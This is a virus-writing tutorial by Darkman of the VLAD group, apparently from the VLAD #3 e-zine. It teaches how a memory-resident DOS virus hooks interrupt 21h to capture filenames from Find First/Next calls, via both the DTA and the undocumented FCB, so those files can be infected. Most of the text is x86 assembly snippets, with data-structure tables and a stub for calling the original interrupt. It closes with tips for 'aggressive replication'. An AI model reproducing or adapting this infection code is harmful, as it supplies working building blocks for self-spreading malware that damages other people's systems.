F I N D F I R S T / N E X T I N F E C T I O N
"Aggressive replication"
Written by
Darkman/VLAD
----------------------------------------------------------------
How to get the filename from Find First/Next Matching File (DTA)
----------------------------------------------------------------
The below steps must be followed to get the filename from DTA:
1. If Find First Matching File (4Eh), then get the path and then...
2. Call original interrupt 21h.
3. Get the Disk Transfer Address (DTA).
4. Get the filename.
5. RETurn from interrupt 21h.
----------------------------------------------------------------
If Find First Matching File (4Eh), then get the path and then...
----------------------------------------------------------------
The below code shows an example of how get the path of the filename:
;------------------------------------------------------------=< cut here >=-
lea di,filename ; DI = offset of filename
mov si,dx
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
mov filenameoff,di ; Store offset of filename
movepathdta:
lodsb ; Load a byte of path
or al,al ; End of path?
je pathdtaexit ; Equal? Jump to pathdtaexit
stosb ; Store a byte of path
cmp al,':' ; Possible end of path?
je setnameoff ; Equal? Jump to setnameoff
cmp al,'\' ; Possible end of path?
jne movepathdta ; Not equal? Jump to movepathdta
setnameoff:
mov filenameoff,di ; Store offset of filename
jmp movepathdta
pathdtaexit:
;------------------------------------------------------------=< cut here >=-
This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists. Remember to PUSH and POP the
used registers before and after the code.
---------------------------
Call original interrupt 21h
---------------------------
The below code shows an example of how to call the original interrupt 21h:
;------------------------------------------------------------=< cut here >=-
call simint21 ; Do it!
;------------------------------------------------------------=< cut here >=-
This code presumes a procedure called simint21 exists. Remember to POP and
PUSH the used registers before and after the code.
-----------------------------------
Get the Disk Transfer Address (DTA)
-----------------------------------
The below code shows an example of how to get the Disk Transfer Area (DTA):
;------------------------------------------------------------=< cut here >=-
mov ah,2fh ; Get Disk Transfer Address (DTA)
int 21h ; Do it!
;------------------------------------------------------------=< cut here >=-
----------------
Get the filename
----------------
The below code shows an example of how to get the filename:
;------------------------------------------------------------=< cut here >=-
mov di,filenameoff ; DI = offset of filename
mov si,bx
add si,1eh ; SI = offset of filename (DTA)
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movenamedta:
lodsb ; Load a byte of filename (DTA)
stosb ; Store a byte of filename
or al,al ; End of filename?
jne movenamedta ; Not equal? Jump to movenamedta
;------------------------------------------------------------=< cut here >=-
This code presumes that a variable of a word called filenameoff exists. The
filename with full path is in the 76 bytes variable called filename and ready
to be infected.
-------------------------
RETurn from interrupt 21h
-------------------------
The below code shows an example of how to return from interrupt 21h:
;------------------------------------------------------------=< cut here >=-
retf 02h ; Return far and pop a word!
;------------------------------------------------------------=< cut here >=-
Remember to POP the used registers before this code.
----------------------------------------------------------------
How to get the filename from Find First/Next Matching File (FCB)
----------------------------------------------------------------
The below steps must be followed to get the filename from DTA:
1. Check if the path is shown. If it is, get the path and then...
2. Call original interrupt 21h.
3. Check if the FCB is extended. If it is, move the offset.
4. Get the filename.
5. Get the extension.
6. Create a ASCIIZ filename.
7. RETurn from interrupt 21h.
--------------------------------------------------------------
Check if the path is shown. If it is, get the path and then...
--------------------------------------------------------------
The below code shows an example of how to check if the path is shown and if
it is, how to get the path:
;------------------------------------------------------------=< cut here >=-
mov si,dx
add si,0a4cfh ; SI = offset of FCB
cmp byte ptr [si+01h],':'
jne realfcb ; Not equal? Jump to realfcb
lea di,filename ; DI = offset of filename
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movepathfcb:
lodsb ; Load a byte of path
or al,al ; End of path?
je pathfcbexit ; Equal? Jump to pathfcbexit
stosb ; Store a byte of path
jmp movepathfcb
pathfcbexit:
mov al,'\'
stosb ; Store the last byte of the path
mov filenameoff,di ; Store offset of filename
;------------------------------------------------------------=< cut here >=-
This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists. Remember to PUSH and POP the
used registers before and after the code.
---------------------------
Call original interrupt 21h
---------------------------
The below code shows an example of how to call the original interrupt 21h:
;------------------------------------------------------------=< cut here >=-
call simint21 ; Do it!
;------------------------------------------------------------=< cut here >=-
This code presumes a procedure called simint21 exists. Remember to POP and
PUSH the used registers before and after the code.
-------------------------------------------------------
Check if the FCB is extended. If it is, move the offset
-------------------------------------------------------
The below code shows an example of how to check if the FCB is extended and
if it is, how to move the offset:
;------------------------------------------------------------=< cut here >=-
cld ; Clear direction flag
add dx,0a4cfh ; DX = offset of FCB
mov si,dx
lodsb ; Load a byte of FCB
dec si ; Decrease SI
cmp al,0ffh ; Extended FCB ID
jne initmovefcb ; Not equal? Jump to initmovefcb
add si,07h ; SI = offset of extended FCB
initmovefcb:
;------------------------------------------------------------=< cut here >=-
----------------
Get the filename
----------------
The below code shows an example of how to get the filename:
;------------------------------------------------------------=< cut here >=-
mov cx,08h ; Move 8 bytes
mov di,filenameoff ; DI = offset of filename
inc si ; SI = offset of filename (FCB)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movenamefcb:
lodsb ; Load a byte of filename (FCB)
cmp al,' ' ; End of filename?
je createext ; Equal? Jump to createext
stosb ; Store a byte of filename
loop movenamefcb
inc si ; Increase SI
createext:
;------------------------------------------------------------=< cut here >=-
This code presumes that a variable of 76 bytes called filename and a
variable of a word called filenameoff exists.
-----------------
Get the extension
-----------------
The below code shows an example of how to get the extension:
;------------------------------------------------------------=< cut here >=-
mov al,'.'
dec si ; Decrease SI
add si,cx ; SI = offset of extension (FCB)
stosb ; Create .COM extension
movsw ; Move extension
movsb ; " "
;------------------------------------------------------------=< cut here >=-
-------------------------
Create an ASCIIZ filename
-------------------------
The below code shows an example of how to create an ASCIIZ filename:
;------------------------------------------------------------=< cut here >=-
xor al,al ; Clear AL
stosb ; Create an ASCIIZ filename
;------------------------------------------------------------=< cut here >=-
The filename with full path is in the 76 bytes variable called filename and
ready to be infected.
-------------------------
RETurn from interrupt 21h
-------------------------
The below code shows an example of how to return from interrupt 21h:
;------------------------------------------------------------=< cut here >=-
retf 02h ; Return far and pop a word!
;------------------------------------------------------------=< cut here >=-
Remember to POP the used registers before this code.
-------------------------------------
Disk Transfer Address (DTA) structure
-------------------------------------
The above Find First/Next Matching File (DTA) infector is using the normal
DTA. This is the DTA structure:
-----------------------------------------
Offset Length Field
-----------------------------------------
00 01 Drive letter
01-0B 0B Search template
0C-14 09 Reserved
15 01 File attribute
16-17 02 File time
18-19 02 File date
1A-1D 04 File size
1E-3A 0D ASCIIZ filename + extension
-----------------------------------------
----------------------------------
File Control Block (FCB) structure
----------------------------------
The above Find First/Next Matching File (FCB) infector does not use the
usual File Control Block (FCB), but a undocumented FCB. This FCB is placed
42191 bytes above the opened FCB. This is FCB structure:
--------------------------
Offset Length Field
--------------------------
00 01 Drive code
01-08 08 Filename
09-0B 03 Extension
0C-16 0B Undocumented
17-18 02 File time
19-1A 02 File date
1B-1C 02 Undocumented
1D-20 04 File size
--------------------------
This FCB is not the same as the usual FCB.
If the FCB is extended; then the first fields of the structure will look
like this:
-----------------------------
Offset Length Field
-----------------------------
00 01 Extended FCB ID
01-05 05 Reserved
06 01 File attribute
-----------------------------
Then the normal FCB will begin after the extended FCB at offset 07.
----------------------------------------------------
Necessary labels, variables and code to the examples
----------------------------------------------------
The above examples presumes that a variable of 76 bytes called filename
exists. This variable holds the filename with full path of the FCB/DTA
filename. It should look like this:
filename db 4ch dup(?) ; DTA/FCB filename
The above examples presumes that a variable of a word called filenameoff
exists. This variable holds the offset of the filename, which is placed after
the path. It should look like this:
filenameoff dw ? ; Offset of DTA/FCB filename
The above examples presumes that a procedure called simint21 exists. This
procedure will call the original interrupt 21h. This is done because we have
intercepted interrupt 21h. It should look like this:
simint21 proc near ; Simulate interrupt 21h
pushf ; Save flags at stack
callfar db 9ah ; Object code of a far call
int21adr dd 0 ; Address of interrupt 21h
ret ; Return!
endp
However the address of the original interrupt should be placed in the
variable with the name int21adr.
---------------------
Final tips and tricks
---------------------
- The mentioned variables do not have to be in the code, just in the memory.
- If you replicate both ways then don't return twice, just jump to a return.
- Remember to optimize your code.
- VLAD #3 INDEX -